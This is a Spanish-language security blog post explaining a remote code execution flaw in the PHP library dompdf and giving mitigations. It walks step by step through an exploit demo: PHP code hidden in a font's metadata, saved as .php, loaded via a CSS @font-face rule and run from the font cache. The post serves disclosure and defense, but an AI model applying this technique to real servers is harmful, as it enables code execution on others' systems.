Skip to main content

Alerta de seguridad de dompdf: se descubre una vulnerabilidad de ejecución remota de código en una popular biblioteca de PDF para PHP

Escrito por
Headshot of DeveloperSteve Coochin

DeveloperSteve Coochin

blog social php composer

18 de marzo de 2022

0 minutos de lectura

Recientemente, investigadores de Positive Security publicaron sus hallazgos e identificaron una importante vulnerabilidad de ejecución remota de código (RCE) en dompdf, una popular biblioteca para generar PDF. En su informe, describieron una forma de cargar código en una aplicación y ejecutarlo de forma remota mientras se genera un PDF.

Dompdf se usa ampliamente en el ecosistema PHP y está presente en más de 59.000 plataformas y proyectos de código abierto. La página de dompdf en PHP Composer por sí sola registra casi 50 millones de instalaciones desde su lanzamiento inicial en el gestor de paquetes de PHP en 2014.

Al momento de escribir esto, todavía no hay una solución para esta vulnerabilidad. Una posible alternativa es prohibir la carga de estilos de fuentes personalizados durante el proceso de generación de PDF o incluso restringir el acceso de escritura a la carpeta de caché de fuentes. También se puede restringir el acceso a la ubicación de instalación de Composer, según las bibliotecas que se usen y las funciones que necesite la aplicación.

En las versiones de dompdf >= 0.8.6, se puede deshabilitar la configuración $isRemoteEnabled para evitar que se carguen fuentes personalizadas mediante reglas CSS font-face. Sin embargo, ten en cuenta que esto podría causar problemas de compatibilidad. Además, en las versiones <0.8.5 no se usa esta configuración, por lo que no es posible corregir esta vulnerabilidad mediante $isRemoteEnabled.

En esta publicación del blog, veremos cómo funciona la vulnerabilidad. Para comprender a fondo el código y las vulnerabilidades, incluso en sus detalles más específicos, me resulta útil poner manos a la obra. Por eso, exploraremos esta vulnerabilidad con una demostración funcional usando la aplicación php-goof en un repositorio de Snyk en GitHub.

Bibliotecas de PDF

Generar PDF dentro de las aplicaciones es una de las tareas que menos me gustan como desarrollador. Es un proceso bastante largo y repetitivo: cambiar el código, generar el PDF, volver a cambiar el código, volver a generarlo, etc., hasta lograr el formato y el diseño adecuados.

Pero poder convertir HTML a PDF es increíblemente útil, sobre todo si pensamos en la frecuencia con que las aplicaciones necesitan generar PDF. Los usamos casi todos los días en sitios de comercio electrónico o en sitios que manejan datos transaccionales de usuarios y deben generar un recibo para que puedan guardarlo o imprimirlo.

Por eso, para la mayoría de nosotros, usar una biblioteca para realizar este tipo de tareas durante el desarrollo de aplicaciones ayuda a acelerar el proceso. Bibliotecas como dompdf nos permiten, como desarrolladores, implementar funciones rutinarias y pasar a tareas más complejas.

Cómo explorar la vulnerabilidad de dompdf

Al revisar los hallazgos de seguridad originales, puedes entender mejor qué ocurre dentro de la biblioteca y cómo fue posible explotarla.

En esencia, la biblioteca dompdf toma HTML normal en su formato habitual y lo convierte en un PDF con formato.

// reference the Dompdf namespace
use Dompdf\Dompdf;

// instantiate and use the dompdf class
$dompdf = new Dompdf();
$dompdf->loadHtml('<html><body>hello world</body></html>');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');

// Render the HTML as PDF
$dompdf->render();

// Output the generated PDF to Browser
$dompdf->stream();

Ofrece una funcionalidad sencilla y fácil de usar, que evita una tarea muy rutinaria para una función de uso común. Lo mejor es que da formato al PDF de salida mediante etiquetas HTML estándar.

El HTML también puede incluir estilos. Estos pueden estar en línea con la etiqueta <html> o en una hoja de estilos. Con una hoja de estilos, puedes cargar una font-family e incluir un enlace a un archivo de fuente.

@font-face {
    Font-family:'font name';
    src:url('https://link to a font file’');
    font-weight:'normal';
    font-style:'normal';
  }

Aquí es donde las cosas empiezan a ponerse interesantes.

La biblioteca dompdf no solo carga una hoja de estilos externa mediante HTML, sino que también guarda el archivo de fuente en una caché local, lo agrega a un directorio de fuentes en el servidor y hace referencia a font-family y a su ubicación desde el framework de dompdf.

El siguiente paso del exploit consiste en introducir código PHP en un archivo de fuente que supere la validación de dompdf y se almacene en el servidor, pero que aun así permita ejecutar ese código PHP desde el archivo. Puede parecer complicado, pero los investigadores originales descubrieron que la validación de la biblioteca solo comprueba el tipo de archivo, no su contenido.

En la aplicación de demostración php-goof, puedes ver cómo funciona si revisas el archivo de fuente personalizado llamado gotcha-normal.otf. En su mayor parte, es un archivo de fuente normal con tipos de letra completamente habituales. Sin embargo, en los metadatos del archivo hay código PHP que se ejecutará en el servidor de la aplicación objetivo: <php? phpinfo(); ?>, dentro del campo de metadatos de derechos de autor. Sí, ¡así de fácil!

Captura de pantalla de código oscuro que muestra la salida de phpinfo de PHP con metadatos de fuentes, incluidos los nombres de estilo «gotcha normal» y «normal».

Luego, abre el archivo de fuente en un editor de código y copia su contenido en un archivo .php o simplemente cámbiale el nombre. Esto es importante porque dompdf validará los encabezados de fuente del archivo y lo guardará en la caché como un archivo .php, lo que permitirá que sea ejecutable.

A continuación, haz referencia al archivo de fuente falso que acabas de crear en el estilo CSS como font-family. En php-goof, lo hacemos directamente desde el repositorio de php-goof.

@font-face {
    font-family:'gotcha';
    src:url('https://github.com/snyk-labs/php-goof/blob/main/exploits/gotcha_font.php?raw=true');
    font-weight:'normal';
    font-style:'normal';
  }

Nota: Es importante usar aquí el mismo nombre del archivo de fuente para font-family; de lo contrario, no funcionará en dompdf.

Ahora solo falta inyectar la hoja de estilos en el HTML que se usa para generar el PDF. Esto hará que dompdf almacene esa fuente en el servidor y permitirá ejecutarla de forma remota. Esta parte puede ser un poco complicada, porque el nombre del archivo tiene un hash y el directorio de fuentes puede estar en otra ubicación.

En php-goof, esta parte resulta un poco más sencilla porque se usa el framework de dompdf para identificar la ubicación y el nombre del archivo de fuente. Se utiliza $dompdf->getFontMetrics()->getFont(“gotcha”, “normal”) para averiguar cuándo se detecta en la caché de fuentes de dompdf.

if($font = $dompdf->getFontMetrics()->getFont("gotcha", "normal")){  
        $html .= "<a href='http://".$_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT']."/vendor/dompdf/dompdf/lib/fonts/".basename($font).".php'>Gotcha hack</a>"; 
    }

Cuando el archivo de fuente gotcha está disponible en el framework, este devuelve la ruta como un enlace dentro del PDF generado. Aquí tienes algunas capturas de pantalla de la vulnerabilidad en la aplicación goof:

Interfaz de PHP Goof Todo que muestra una tarea con un enlace a una hoja de estilos, una marca de tiempo y los íconos de editar, eliminar, enviar por correo electrónico y generar un PDF
Una página PDF casi en blanco que muestra el texto enlazado «Gotcha hack» cerca del centro de la parte superior.
Navegador que muestra caracteres ilegibles de un archivo de fuente PHP sobre el encabezado visible «PHP Version 8.0.16»

Mantente protegido

Un reconocimiento al equipo de Positive Security, no solo por compartir abiertamente sus hallazgos, sino también por las medidas que tomó para comunicarlos a los responsables del mantenimiento de dompdf.

Recuerda siempre analizar el código base de tu aplicación para identificar situaciones como esta, que pueden surgir sin que te des cuenta. Snyk Code puede ayudarte a detectar vulnerabilidades en frameworks y funciones para que hagas las verificaciones necesarias y protejas a los usuarios finales y sus datos.

Protege tus dependencias de código abierto

Las herramientas de Snyk, diseñadas para desarrolladores, generan pull requests de corrección con un clic para dependencias vulnerables de código abierto y sus dependencias transitivas.

Recursos adicionales

Leer más

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad al ritmo del desarrollo con IA

El desarrollo impulsado por IA supera el ritmo de los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas definen el estándar.

blog feature ai violet
Blog

VulnBump: ¿Pueden los agentes de IA corregir dependencias vulnerables sin romper la compilación?

VulnBump prueba agentes de IA en 307 actualizaciones reales de dependencias. Una corrección cuenta solo si elimina la vulnerabilidad y mantiene en verde la compilación y las pruebas.

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.